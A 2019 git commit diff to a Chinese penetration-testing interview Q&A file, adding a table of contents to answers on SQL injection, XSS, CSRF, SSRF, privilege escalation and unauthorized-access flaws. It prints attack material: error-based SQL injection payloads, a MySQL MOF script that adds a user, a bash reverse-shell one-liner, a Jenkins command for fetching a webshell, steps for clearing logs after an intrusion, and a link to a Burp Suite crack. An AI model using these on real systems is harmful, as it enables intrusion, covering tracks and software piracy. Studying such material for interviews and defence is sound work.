This commit is contained in:
mr-xn 2019-08-06 14:10:45 +08:00
commit 3d784b9f1e
2 changed files with 326 additions and 200 deletions

View File

@ -4,6 +4,7 @@
### burpsuite crack 破解: [传送门](./crack.md)
### [渗透测试面试问题2019版](渗透测试面试问题2019版.md)
<details>
<summary>文件列表</summary>

View File

@ -1,6 +1,126 @@
## 思路流程
- [ 思路流程](#head1)
- [ 信息收集](#head2)
- [ 漏洞挖掘](#head3)
- [ 漏洞利用&权限提升](#head4)
- [ 清除测试数据&输出报告](#head5)
- [ 复测](#head6)
- [ 问题](#head7)
- [ 深信服一面:](#head8)
- [ SQL注入防护](#head9)
- [ 为什么参数化查询可以防止sql注入](#head10)
- [ SQL头注入点](#head11)
- [ 盲注是什么?怎么盲注?](#head12)
- [ 宽字节注入产生原理以及根本原因](#head13)
- [ 产生原理](#head14)
- [ 在哪里编码](#head15)
- [ 根本原因](#head16)
- [ 解决办法](#head17)
- [ sql里面只有update怎么利用](#head18)
- [ sql如何写shell/单引号被过滤怎么办](#head19)
- [ 代替空格的方法](#head20)
- [ mysql的网站注入5.0以上和5.0以下有什么区别?](#head21)
- [ XSS](#head22)
- [ XSS原理](#head23)
- [ 反射型](#head24)
- [ 储存型](#head25)
- [ DOM型](#head26)
- [ DOM型和反射型的区别](#head27)
- [DOM型XSS 自动化测试或人工测试](#head28)
- [ 如何快速发现xss位置](#head29)
- [ 对于XSS怎么修补建议](#head30)
- [ XSS蠕虫的产生条件](#head31)
- [ CSRF](#head32)
- [ CSRF原理](#head33)
- [ 防御](#head34)
- [ token和referer做横向对比谁安全等级高](#head35)
- [ 对referer的验证从什么角度去做如果做怎么杜绝问题](#head36)
- [ 针对token对token测试会注意哪方面内容会对token的哪方面进行测试](#head37)
- [ SSRF](#head38)
- [ 检测](#head39)
- [SSRF漏洞的成因 防御 绕过](#head40)
- [ 上传](#head41)
- [ 文件上传漏洞原理](#head42)
- [ 常见的上传绕过方式](#head43)
- [ 防护](#head44)
- [ 审查上传点的元素有什么意义?](#head45)
- [ 文件包含](#head46)
- [ 原理](#head47)
- [ 导致文件包含的函数](#head48)
- [ 本地文件包含](#head49)
- [ XXE](#head50)
- [ 逻辑漏洞](#head51)
- [ 金融行业常见逻辑漏洞](#head52)
- [ 溢出](#head53)
- [ 中间人攻击](#head54)
- [ ARP欺骗](#head55)
- [ 原理:](#head56)
- [ 防护](#head57)
- [ DDOS](#head58)
- [ Ddos原理](#head59)
- [ syn洪流的原理](#head60)
- [ CC攻击原理](#head61)
- [ DDOS防护](#head62)
- [ 提权](#head63)
- [ mysql两种提权方式](#head64)
- [ Mysql_UDF提权](#head65)
- [Mysql mof提权](#head66)
- [ 特殊漏洞](#head67)
- [ Struts2-045](#head68)
- [ Redis未授权访问](#head69)
- [ 产生原因](#head70)
- [ 利用条件和方法](#head71)
- [ 修复](#head72)
- [ Jenkins未授权访问](#head73)
- [ MongoDB未授权访问](#head74)
- [ 防护](#head75)
- [ Memcache未授权访问](#head76)
- [ 利用](#head77)
- [ 漏洞加固](#head78)
- [FFMPEG 本地文件读取漏洞](#head79)
- [ 原理](#head80)
- [ 安全知识](#head81)
- [ WEB](#head82)
- [ 常用WEB开发JAVA框架](#head83)
- [ 同源策略](#head84)
- [ Jsonp安全攻防技术怎么写Jsonp的攻击页面](#head85)
- [ 涉及到Jsonp的安全攻防内容](#head86)
- [ 攻击页面](#head87)
- [ PHP](#head88)
- [ php中命令执行涉及到的函数](#head89)
- [安全模式下绕过php的disable fuction](#head90)
- [ PHP弱类型](#head91)
- [ 数据库](#head92)
- [ 各种数据库文件存放的位置](#head93)
- [ 系统](#head94)
- [ 如何清理日志](#head95)
- [入侵 Linux 服务器后需要清除哪些日志?](#head96)
- [ LINUX](#head97)
- [查看当前端口连接的命令有哪些?`netstat` 和 `ss` 命令的区别和优缺点](#head98)
- [反弹 shell 的常用命令?一般常反弹哪一种 shell为什么?](#head99)
- [通过Linux系统的/proc目录 ,能够获取到哪些信息,这些信息可以在安全上有哪些应用?](#head100)
- [ linux系统中检测哪些配置文件的配置项能够提升SSH的安全性。](#head101)
- [ 如何一条命令查看文件内容最后一百行](#head102)
- [ Windows](#head103)
- [ 如何加固一个域环境下的Windows桌面工作环境请给出你的思路。](#head104)
- [ 密码学](#head105)
- [ AESDES的具体工作步骤](#head106)
- [ RSA算法](#head107)
- [ 分组密码的加密模式](#head108)
- [ 如何生成一个安全的随机数?](#head109)
- [ SSL握手过程](#head110)
- [ 对称加密与非对称加密的不同,分别用在哪些方面](#head111)
- [ TCP/IP](#head112)
- [ TCP三次握手的过程以及对应的状态转换](#head113)
- [ TCP和UDP协议区别](#head114)
- [ https的建立过程](#head115)
- [ 流量分析](#head116)
- [ wireshark简单的过滤规则](#head117)
- [ 防火墙](#head118)
- [ 简述路由器交换机、防火墙等网络设备常用的几个基础配置加固项,以及配置方法。](#head119)
### 信息收集
## <span id="head1"> 思路流程</span>
### <span id="head2"> 信息收集</span>
1. 服务器的相关信息真实ip系统类型版本开放端口WAF等
2. 网站指纹识别包括cmscdn证书等dns记录
@ -10,47 +130,52 @@
6. 扫描网站目录结构爆后台网站banner测试文件备份等敏感文件泄漏等
7. 传输协议通用漏洞expgithub源码等
### 漏洞挖掘
### <span id="head3"> 漏洞挖掘</span>
1. 浏览网站,看看网站规模,功能,特点等
2. 端口,弱口令,目录等扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血mysql,ftp,ssh弱口令等。
3. XSSSQL注入上传命令注入CSRFcookie安全检测敏感信息通信数据传输暴力破解任意文件上传越权访问未授权访问目录遍历文件 包含,重放攻击(短信轰炸),服务器漏洞检测,最后使用漏扫工具等
### 漏洞利用 | 权限提升
### <span id="head4"> 漏洞利用&权限提升</span>
- mysql提权serv-u提权oracle提权
- windows 溢出提权
- linux脏牛,内核漏洞提权e
### 清除测试数据 | 输出报告
### <span id="head5"> 清除测试数据&输出报告</span>
i 日志、测试数据的清理
ii 总结,输出渗透测试报告,附修复方案
### 复测
### <span id="head6"> 复测</span>
验证并发现是否有新漏洞,输出报告,归档
# 问题
## <span id="head7"> 问题</span>
**1.拿到一个待检测的站,你觉得应该先做什么?**
1) 信息收集
1获取域名的whois信息,获取注册者邮箱姓名电话等,丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。 用邮箱做关键词进行丢进搜索引擎。 利用搜索到的关联信息找出其他邮箱进而得到常用社交账号。 社工找出社交账号,里面或许会找出管理员设置密码的习惯 。 利用已有信息生成专用字典。
2查询服务器旁站以及子域名站点因为主站一般比较难所以先看看旁站有没有通用性的cms或者其他漏洞。
3查看服务器操作系统版本web中间件看看是否存在已知的漏洞比如IISAPACHE,NGINX的解析漏洞
4查看IP进行IP地址端口扫描对响应的端口进行漏洞探测比如 rsync,心脏出血mysql,ftp,ssh弱口令等。
5扫描网站目录结构看看是否可以遍历目录或者敏感文件泄漏比如php探针
6google hack 进一步探测网站的信息,后台,敏感文件
2漏洞扫描
1. 获取域名的whois信息,获取注册者邮箱姓名电话等,丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。 用邮箱做关键词进行丢进搜索引擎。 利用搜索到的关联信息找出其他邮箱进而得到常用社交账号。 社工找出社交账号,里面或许会找出管理员设置密码的习惯 。 利用已有信息生成专用字典。
2. 查询服务器旁站以及子域名站点因为主站一般比较难所以先看看旁站有没有通用性的cms或者其他漏洞。
3. 查看服务器操作系统版本web中间件看看是否存在已知的漏洞比如IISAPACHE,NGINX的解析漏洞
4. 查看IP进行IP地址端口扫描对响应的端口进行漏洞探测比如 rsync,心脏出血mysql,ftp,ssh弱口令等。
5. 扫描网站目录结构看看是否可以遍历目录或者敏感文件泄漏比如php探针
6. google hack 进一步探测网站的信息,后台,敏感文件
2) 漏洞扫描
开始检测漏洞如XSS,XSRF,sql注入代码执行命令执行越权访问目录读取任意文件读取下载文件包含
远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等
3漏洞利用
3) 漏洞利用
利用以上的方式拿到webshell或者其他权限
4权限提升
4) 权限提升
提权服务器比如windows下mysql的udf提权serv-u提权windows低版本的漏洞如iis6,pr,巴西烤肉linux脏牛漏洞linux内核版本漏洞提权linux下的mysql system提权以及oracle低权限提权
5) 日志清理
6总结报告及修复方案
6) 总结报告及修复方案
@ -372,7 +497,7 @@ Connection:keep-alive
3延时注入
4宽字节注入
**42、报错注入的函数有哪些 10个**
1and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】----------------
1and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】
2通过floor报错 向下取整
3+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4.geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));
@ -564,7 +689,7 @@ aspx使用的是.net技术。IIS 中默认不支持ASP只是脚本语言而
50070,50030 hadoop默认端口未授权访问
```
## 深信服一面:
## <span id="head8"> 深信服一面:</span>
- 了解哪些漏洞
- 文件上传有哪些防护方式
@ -584,7 +709,7 @@ aspx使用的是.net技术。IIS 中默认不支持ASP只是脚本语言而
- 有没有抓过包会不会写wireshark过滤规则
- 清理日志要清理哪些
## SQL注入防护
## <span id="head9"> SQL注入防护</span>
1、使用安全的API
2、对输入的特殊字符进行Escape转义处理
@ -593,7 +718,7 @@ aspx使用的是.net技术。IIS 中默认不支持ASP只是脚本语言而
5、服务器端在提交数据库进行SQL查询之前对特殊字符进行过滤、转义、替换、删除。
\6. 规范编码,字符集
## 为什么参数化查询可以防止sql注入
## <span id="head10"> 为什么参数化查询可以防止sql注入</span>
原理:
@ -602,7 +727,7 @@ aspx使用的是.net技术。IIS 中默认不支持ASP只是脚本语言而
简单的说:
参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑
## SQL头注入点
## <span id="head11"> SQL头注入点</span>
```
UA
@ -611,28 +736,28 @@ COOKIE
IP
```
## 盲注是什么?怎么盲注?
## <span id="head12"> 盲注是什么?怎么盲注?</span>
盲注是在SQL注入攻击过程中服务器关闭了错误回显我们单纯通过服务器返回内容的变化来判断是否存在SQL注入和利用的方式。盲注的手段有两种一个是通过页面的返回内容是否正确(boolean-based)来验证是否存在注入。一个是通过sql语句处理时间的不同来判断是否存在注入(time-based)在这里可以用benchmarksleep等造成延时效果的函数也可以通过构造大笛卡儿积的联合查询表来达到延时的目的。
## 宽字节注入产生原理以及根本原因
## <span id="head13"> 宽字节注入产生原理以及根本原因</span>
### 产生原理
### <span id="head14"> 产生原理</span>
在数据库使用了宽字符集而WEB中没考虑这个问题的情况下在WEB层由于0XBF27是两个字符在PHP中比如addslash和magic_quotes_gpc开启时由于会对0x27单引号进行转义因此0xbf27会变成0xbf5c27,而数据进入数据库中时由于0XBF5C是一个另外的字符因此\转义符号会被前面的bf带着"吃掉",单引号由此逃逸出来可以用来闭合语句。
### 在哪里编码
### <span id="head15"> 在哪里编码</span>
### 根本原因
### <span id="head16"> 根本原因</span>
character_set_client(客户端的字符集)和character_set_connection(连接层的字符集)不同,或转换函数如iconv、mb_convert_encoding使用不当。
### 解决办法
### <span id="head17"> 解决办法</span>
统一数据库、Web应用、操作系统所使用的字符集避免解析产生差异最好都设置为UTF-8。
或对数据进行正确的转义如mysql_real_escape_string+mysql_set_charset的使用。
### sql里面只有update怎么利用
### <span id="head18"> sql里面只有update怎么利用</span>
先理解这句 SQL
@ -667,7 +792,7 @@ UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$hom
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
```
## sql如何写shell/单引号被过滤怎么办
## <span id="head19"> sql如何写shell/单引号被过滤怎么办</span>
写shell: root权限GPC关闭知道文件路径
outfile函数
@ -680,37 +805,37 @@ outfile函数
宽字节注入
### 代替空格的方法
### <span id="head20"> 代替空格的方法</span>
%0a、%0b、%a0 等
/**/ 等注释符
<>
### mysql的网站注入5.0以上和5.0以下有什么区别?
### <span id="head21"> mysql的网站注入5.0以上和5.0以下有什么区别?</span>
5.0以下没有information_schema这个系统表无法列表名等只能暴力跑表名。
5.0以下是多用户单操作5.0以上是多用户多操做。
# XSS
# <span id="head22"> XSS</span>
## XSS原理
## <span id="head23"> XSS原理</span>
### 反射型
### <span id="head24"> 反射型</span>
用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。
需要诱使用户“点击”一个恶意链接,才能攻击成功
### 储存型
### <span id="head25"> 储存型</span>
存储型XSS会把用户输入的数据“存储”在服务器端。
这种XSS具有很强的稳定性。
### DOM型
### <span id="head26"> DOM型</span>
通过修改页面的DOM节点形成的XSS称之为DOM Based XSS。
## DOM型和反射型的区别
## <span id="head27"> DOM型和反射型的区别</span>
反射型XSS通过诱导用户点击我们构造好的恶意payload才会触发的XSS。
反射型XSS的检测我们在每次请求带payload的链接时页面应该是会带有特定的畸形数据的。
@ -718,16 +843,16 @@ DOM型通过修改页面的DOM节点形成的XSS。
DOM-based XSS由于是通过js代码进行dom操作产生的XSS所以在请求的响应中我们甚至不一定会得到相应的畸形数据。
根本区别在我看来是输出点的不同。
## DOM型XSS 自动化测试或人工测试
## <span id="head28">DOM型XSS 自动化测试或人工测试</span>
人工测试思路找到类似document.write、innerHTML赋值、outterHTML赋值、window.location操作、写javascript:后内容、eval、setTimeout 、setInterval 等直接执行之类的函数点。找到其变量,回溯变量来源观察是否可控,是否经过安全函数。
自动化测试参看道哥的博客思路是从输入入手观察变量传递的过程最终检查是否有在危险函数输出中途是否有经过安全函数。但是这样就需要有一个javascript解析器否则会漏掉一些通过js执行带入的部分内容。
在回答这段问题的时候由于平时对客户的检测中基本是凭借不同功能点的功能加上经验和直觉来进行检测对不同类型的XSS检测方式实际上并没有太过细分的标准化检测方式所以回答的很烂。。。
## 如何快速发现xss位置
## <span id="head29"> 如何快速发现xss位置</span>
## 对于XSS怎么修补建议
## <span id="head30"> 对于XSS怎么修补建议</span>
输入点检查对用户输入的数据进行合法性检查使用filter过滤敏感字符或对进行编码转义针对特定类型数据进行格式检查。针对输入点的检查最好放在服务器端实现。
@ -736,32 +861,32 @@ DOM-based XSS由于是通过js代码进行dom操作产生的XSS所以在请
除此之外还有做HTTPOnly对Cookie劫持做限制。
## XSS蠕虫的产生条件
## <span id="head31"> XSS蠕虫的产生条件</span>
正常情况下一个是产生XSS点的页面不属于self页面用户之间产生交互行为的页面都可能造成XSS Worm的产生。**不一定需要**存储型XSS
# CSRF
# <span id="head32"> CSRF</span>
## CSRF原理
## <span id="head33"> CSRF原理</span>
CSRF是跨站请求伪造攻击由客户端发起,是由于没有在关键操作执行时进行是否由用户自愿发起的确认
## 防御
## <span id="head34"> 防御</span>
- 验证Referer
- 添加token
## token和referer做横向对比谁安全等级高
## <span id="head35"> token和referer做横向对比谁安全等级高</span>
token安全等级更高因为并不是任何服务器都可以取得referer如果从HTTPS跳到HTTP也不会发送referer。并且FLASH一些版本中可以自定义referer。
但是token的话要保证其足够随机且不可泄露。(不可预测性原则)
## 对referer的验证从什么角度去做如果做怎么杜绝问题
## <span id="head36"> 对referer的验证从什么角度去做如果做怎么杜绝问题</span>
对header中的referer的验证一个是空referer一个是referer过滤或者检测不完善。
为了杜绝这种问题,在验证的白名单中,正则规则应当写完善。
## 针对token对token测试会注意哪方面内容会对token的哪方面进行测试
## <span id="head37"> 针对token对token测试会注意哪方面内容会对token的哪方面进行测试</span>
引用一段请教前辈的回答:
@ -772,13 +897,13 @@ token安全等级更高因为并不是任何服务器都可以取得referer
另外也可以结合着其它业务来描述token的安全性及设计不好怎么被绕过比如抢红包业务之类的
```
# SSRF
# <span id="head38"> SSRF</span>
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的所以它能够请求到与它相连而与外网隔离的内部系统
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容加载指定地址的图片下载等等。
## 检测
## <span id="head39"> 检测</span>
SSRF漏洞的验证方法
@ -786,66 +911,66 @@ SSRF漏洞的验证方法
2在页面源码中查找访问的资源地址 ,如果该资源地址类型为 [www.baidu.com/xxx.php?image=地址的就可能存在SSRF漏洞 4](http://www.baidu.com/xxx.php?image=地址的就可能存在SSRF漏洞)
## SSRF漏洞的成因 防御 绕过
## <span id="head40">SSRF漏洞的成因 防御 绕过</span>
成因:模拟服务器对其他服务器资源进行请求,没有做合法性验证。
利用构造恶意内网IP做探测或者使用其余所支持的协议对其余服务进行攻击。
防御禁止跳转限制协议内外网限制URL限制。
绕过使用不同协议针对IPIP格式的绕过针对URL恶意URL增添其他字符@之类的。301跳转+dns rebindding。
# 上传
# <span id="head41"> 上传</span>
## 文件上传漏洞原理
## <span id="head42"> 文件上传漏洞原理</span>
由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件
## 常见的上传绕过方式
## <span id="head43"> 常见的上传绕过方式</span>
- 前端js验证禁用js/burp改包
- 大小写
- 双重后缀名
- 过滤绕过 pphphp->php
## 防护
## <span id="head44"> 防护</span>
- 文件上传目录设置为不可执行
- 使用白名单判断文件上传类型
- 用随机数改写文件名和路径
## 审查上传点的元素有什么意义?
## <span id="head45"> 审查上传点的元素有什么意义?</span>
有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。
# 文件包含
# <span id="head46"> 文件包含</span>
## 原理
## <span id="head47"> 原理</span>
引入一段用户能控制的脚本或代码,并让服务器端执行
1include()等函数通过动态变量的方式引入需要包含的文件;
2用户能够控制该动态变量。
## 导致文件包含的函数
## <span id="head48"> 导致文件包含的函数</span>
PHPinclude(), include_once(), require(), re-quire_once(), fopen(), readfile(), …
JSP/Servletava.io.File(), java.io.Fil-eReader(), …
ASPinclude file, include virtual,
## 本地文件包含
## <span id="head49"> 本地文件包含</span>
能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞
# XXE
# <span id="head50"> XXE</span>
# 逻辑漏洞
# <span id="head51"> 逻辑漏洞</span>
## 金融行业常见逻辑漏洞
## <span id="head52"> 金融行业常见逻辑漏洞</span>
单针对金融业务的
主要是数据的篡改(涉及金融数据,或部分业务的判断数据),由竞争条件或者设计不当引起的薅羊毛,交易/订单信息泄露,水平越权对别人的账户查看或恶意操作,交易或业务步骤绕过。
# 溢出
# <span id="head53"> 溢出</span>
# 中间人攻击
# <span id="head54"> 中间人攻击</span>
中间人攻击是一个缺乏相互认证的攻击由于客户端与服务器之间在SSL握手的过程中缺乏相互认证而造成的漏洞
@ -860,14 +985,14 @@ ASPinclude file, include virtual,
3.使用其他形式的密钥交换形式
## ARP欺骗
## <span id="head55"> ARP欺骗</span>
### 原理:
### <span id="head56"> 原理:</span>
每台主机都有一个ARP缓存表缓存表中记录了IP地址与MAC地址的对应关系而局域网数据传输依靠的是MAC地址。
在ARP缓存表机制存在一个缺陷就是当请求主机收到ARP应答包后不会去验证自己是否向对方主机发送过ARP请求包就直接把这个返回包中的IP地址与MAC地址的对应关系保存进ARP缓存表中如果原有相同IP对应关系原有的则会被替换。这样攻击者就有了偷听主机传输的数据的可能
### 防护
### <span id="head57"> 防护</span>
1.在主机绑定网关MAC与IP地址为静态默认为动态命令arp -s 网关IP 网关MAC
@ -875,31 +1000,31 @@ ASPinclude file, include virtual,
3.使用ARP防火墙
# DDOS
# <span id="head58"> DDOS</span>
## Ddos原理
## <span id="head59"> Ddos原理</span>
利用合理的请求造成资源过载,导致服务不可用
### syn洪流的原理
### <span id="head60"> syn洪流的原理</span>
伪造大量的源IP地址分别向服务器端发送大量的SYN包此时服务器端会返回SYN/ACK包因为源地址是伪造的所以伪造的IP并不会应答服务器端没有收到伪造IP的回应会重试35次并且等待一个SYNTime一般为30秒至2分钟如果超时则丢弃这个连接。攻击者大量发送这种伪造源地址的SYN请求服务器端将会消耗非常多的资源CPU和内存来处理这种半连接同时还要不断地对这些IP进行SYN+ACK重试。最后的结果是服务器无暇理睬正常的连接请求导致拒绝服务。
### CC攻击原理
### <span id="head61"> CC攻击原理</span>
对一些消耗资源较大的应用页面不断发起正常的请求,以达到消耗服务端资源的目的。
## DDOS防护
## <span id="head62"> DDOS防护</span>
SYN Cookie/SYN Proxy、safereset等算法。SYN Cookie的主要思想是为每一个IP地址分配一个“Cookie”并统计每个IP地址的访问频率。如果在短时间内收到大量的来自同一个IP地址的数据包则认为受到攻击之后来自这个IP地址的包将被丢弃。
# 提权
# <span id="head63"> 提权</span>
## mysql两种提权方式
## <span id="head64"> mysql两种提权方式</span>
udf提权,mof提权
### Mysql_UDF提权
### <span id="head65"> Mysql_UDF提权</span>
要求:
1.目标系统是Windows(Win2000,XP,Win2003)
@ -924,7 +1049,7 @@ drop function cmdshell;
该目录默认是不存在的这就需要我们使用webshell找到MYSQL的安装目录并在安装目录下创建lib\plugin文件夹然后将udf.dll文件导出到该目录即可。
### Mysql mof提权
### <span id="head66">Mysql mof提权</span>
```
#pragma namespace("\\\\.\\root\\subscription")
@ -964,17 +1089,17 @@ select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem
执行成功后即可添加一个普通用户然后你可以更改命令再上传导出执行把用户提升到管理员权限然后3389连接之就ok了。
# 特殊漏洞
# <span id="head67"> 特殊漏洞</span>
## Struts2-045
## <span id="head68"> Struts2-045</span>
## Redis未授权访问
## <span id="head69"> Redis未授权访问</span>
### 产生原因
### <span id="head70"> 产生原因</span>
Redis 默认情况下,会绑定在 0.0.0.0:6379这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器
### 利用条件和方法
### <span id="head71"> 利用条件和方法</span>
条件:
@ -989,23 +1114,23 @@ Redis 默认情况下,会绑定在 0.0.0.0:6379这样将会将 Redis 服务
- 通过crontab反弹shell
- slave主从模式利用
### 修复
### <span id="head72"> 修复</span>
- 密码验证
- 降权运行
- 限制ip/修改端口
## Jenkins未授权访问
## <span id="head73"> Jenkins未授权访问</span>
攻击者通过未授权访问进入脚本命令执行界面执行攻击指令
`println "ifconfig -a".execute().text` 执行一些系统命令,利用wget下载webshell
## MongoDB未授权访问
## <span id="head74"> MongoDB未授权访问</span>
开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,而且可以远程访问数据库,登录的用户可以通过默认端口无需密码对数据库进行增、删、改、查等任意高危操作。
### 防护
### <span id="head75"> 防护</span>
1、为MongoDB添加认证
1)MongoDB启动时添加auth参数
@ -1021,33 +1146,33 @@ MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些
或在/etc/mongodb.conf文件中添加以下内容
bind_ip = 127.0.0.1
## Memcache未授权访问
## <span id="head76"> Memcache未授权访问</span>
Memcached是一套常用的key-value缓存系统由于它本身没有权限控制模块所以对公网开放的Memcache服务很容易被攻击者扫描发现攻击者通过命令交互可直接读取Memcached中的敏感信息。
### 利用
### <span id="head77"> 利用</span>
1、登录机器执行netstat -an |more命令查看端口监听情况。回显0.0.0.0:11211表示在所有网卡进行监听存在memcached未授权访问漏洞。
2、telnet 11211或nc -vv 11211提示连接成功表示漏洞存在
### 漏洞加固
### <span id="head78"> 漏洞加固</span>
- 1、设置memchached只允许本地访问
- 2、禁止外网访问Memcached 11211端口
- 3、编译时加上enable-sasl启用SASL认证
## FFMPEG 本地文件读取漏洞
## <span id="head79">FFMPEG 本地文件读取漏洞</span>
### 原理
### <span id="head80"> 原理</span>
通过调用加密API将payload加密放入一个会被执行的段字节中。但是具体回答工程中我只回答道了SSRF老洞m3u8头偏移量加密。
# 安全知识
# <span id="head81"> 安全知识</span>
## WEB
## <span id="head82"> WEB</span>
### 常用WEB开发JAVA框架
### <span id="head83"> 常用WEB开发JAVA框架</span>
STRUTS,SPRING
常见的java框架漏洞
@ -1056,18 +1181,18 @@ STRUTS,SPRING
048 封装action的过程中有一步调用getstackvalue递归获取ognl表达式
反序列化 操作对象通过手段引入。apache common的反射机制、readobject的重写其实具体的我也记不清楚。。。然后这部分就结束了
### 同源策略
### <span id="head84"> 同源策略</span>
同源策略限制不同源对当前document的属性内容进行读取或设置。
不同源的区分协议、域名、子域名、IP、端口以上有不同时即不同源。
### Jsonp安全攻防技术怎么写Jsonp的攻击页面
### <span id="head85"> Jsonp安全攻防技术怎么写Jsonp的攻击页面</span>
#### 涉及到Jsonp的安全攻防内容
#### <span id="head86"> 涉及到Jsonp的安全攻防内容</span>
JSON劫持、Callback可定义、JSONP内容可定义、Content-type不为json。
#### 攻击页面
#### <span id="head87"> 攻击页面</span>
JSON劫持跨域劫持敏感信息页面类似于
@ -1082,19 +1207,19 @@ function wooyun(v){
Content-type不正确情况下JSONP和Callback内容可定义可造成XSS。
JSONP和FLASH及其他的利用参照知道创宇的JSONP安全攻防技术。
## PHP
## <span id="head88"> PHP</span>
### php中命令执行涉及到的函数
### <span id="head89"> php中命令执行涉及到的函数</span>
1代码执行eval()、assert()、popen()、system()、exec()、shell_exec()、passthru(),pcntl_exec(),call_user_func_array(),create_function()
2文件读取file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
3命令执行system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
### 安全模式下绕过php的disable fuction
### <span id="head90">安全模式下绕过php的disable fuction</span>
DL函数组件漏洞环境变量。
### PHP弱类型
### <span id="head91"> PHP弱类型</span>
`==` 在进行比较的时候,会先将字符串类型转化成相同,再比较
@ -1102,20 +1227,20 @@ DL函数组件漏洞环境变量。
`0e`开头的字符串等于0
## 数据库
## <span id="head92"> 数据库</span>
### 各种数据库文件存放的位置
### <span id="head93"> 各种数据库文件存放的位置</span>
mysql:`/usr/local/mysql/data/` `C:\ProgramData\MySQL\MySQL Server 5.6\Data\`
oracle:`$ORACLE_BASE/oradata/$ORACLE_SID/`
## 系统
## <span id="head94"> 系统</span>
### 如何清理日志
### <span id="head95"> 如何清理日志</span>
meterpreter: `clearev`
### 入侵 Linux 服务器后需要清除哪些日志?
### <span id="head96">入侵 Linux 服务器后需要清除哪些日志?</span>
web日志如apache的access.log,error.log。 直接将日志清除过于明显,一般使用sed进行定向清除
@ -1127,9 +1252,9 @@ wtmp日志的清除/var/log/wtmp
登录日志清除 /var/log/secure
### LINUX
### <span id="head97"> LINUX</span>
#### 查看当前端口连接的命令有哪些?`netstat``ss` 命令的区别和优缺点
#### <span id="head98">查看当前端口连接的命令有哪些?`netstat``ss` 命令的区别和优缺点</span>
```
netstat -antp` `ss -l
@ -1137,13 +1262,13 @@ netstat -antp` `ss -l
ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息而且比netstat更快速更高效。
#### 反弹 shell 的常用命令?一般常反弹哪一种 shell为什么?
#### <span id="head99">反弹 shell 的常用命令?一般常反弹哪一种 shell为什么?</span>
```
bash -i>&/dev/tcp/x.x.x.x/4444 0>&1
```
#### 通过Linux系统的/proc目录 ,能够获取到哪些信息,这些信息可以在安全上有哪些应用?
#### <span id="head100">通过Linux系统的/proc目录 ,能够获取到哪些信息,这些信息可以在安全上有哪些应用?</span>
```
ls /proc
@ -1151,26 +1276,26 @@ ls /proc
系统信息,硬件信息,内核版本,加载的模块,进程
#### linux系统中检测哪些配置文件的配置项能够提升SSH的安全性。
#### <span id="head101"> linux系统中检测哪些配置文件的配置项能够提升SSH的安全性。</span>
`/etc/ssh/sshd___config`
iptables配置
#### 如何一条命令查看文件内容最后一百行
#### <span id="head102"> 如何一条命令查看文件内容最后一百行</span>
```
tail -n 100 filename
```
### Windows
### <span id="head103"> Windows</span>
#### 如何加固一个域环境下的Windows桌面工作环境请给出你的思路。
#### <span id="head104"> 如何加固一个域环境下的Windows桌面工作环境请给出你的思路。</span>
## 密码学
## <span id="head105"> 密码学</span>
### AESDES的具体工作步骤
### <span id="head106"> AESDES的具体工作步骤</span>
### RSA算法
### <span id="head107"> RSA算法</span>
加密:
$$
@ -1193,35 +1318,35 @@ $$
n是两个大质数p,q的积
### 分组密码的加密模式
### <span id="head108"> 分组密码的加密模式</span>
### 如何生成一个安全的随机数?
### <span id="head109"> 如何生成一个安全的随机数?</span>
引用之前一个学长的答案,可以通过一些物理系统生成随机数,如电压的波动、磁盘磁头读/写时的寻道时间、空中电磁波的噪声等。
### SSL握手过程
### <span id="head110"> SSL握手过程</span>
建立TCP连接、客户端发送SSL请求、服务端处理SSL请求、客户端发送公共密钥加密过的随机数据、服务端用私有密钥解密加密后的随机数据并协商暗号、服务端跟客户端利用暗号生成加密算法跟密钥key、之后正常通信。
这部分本来是忘了的但是之前看SSL Pinning的时候好像记了张图在脑子里挣扎半天还是没敢确定遂放弃。。。
### 对称加密与非对称加密的不同,分别用在哪些方面
### <span id="head111"> 对称加密与非对称加密的不同,分别用在哪些方面</span>
## TCP/IP
## <span id="head112"> TCP/IP</span>
### TCP三次握手的过程以及对应的状态转换
### <span id="head113"> TCP三次握手的过程以及对应的状态转换</span>
1客户端向服务器端发送一个SYN包包含客户端使用的端口号和初始序列号x
2服务器端收到客户端发送来的SYN包后向客户端发送一个SYN和ACK都置位的TCP报文包含确认号xx1和服务器端的初始序列号y
1客户端向服务器端发送一个SYN包包含客户端使用的端口号和初始序列号x;
2服务器端收到客户端发送来的SYN包后向客户端发送一个SYN和ACK都置位的TCP报文包含确认号xx1和服务器端的初始序列号y;
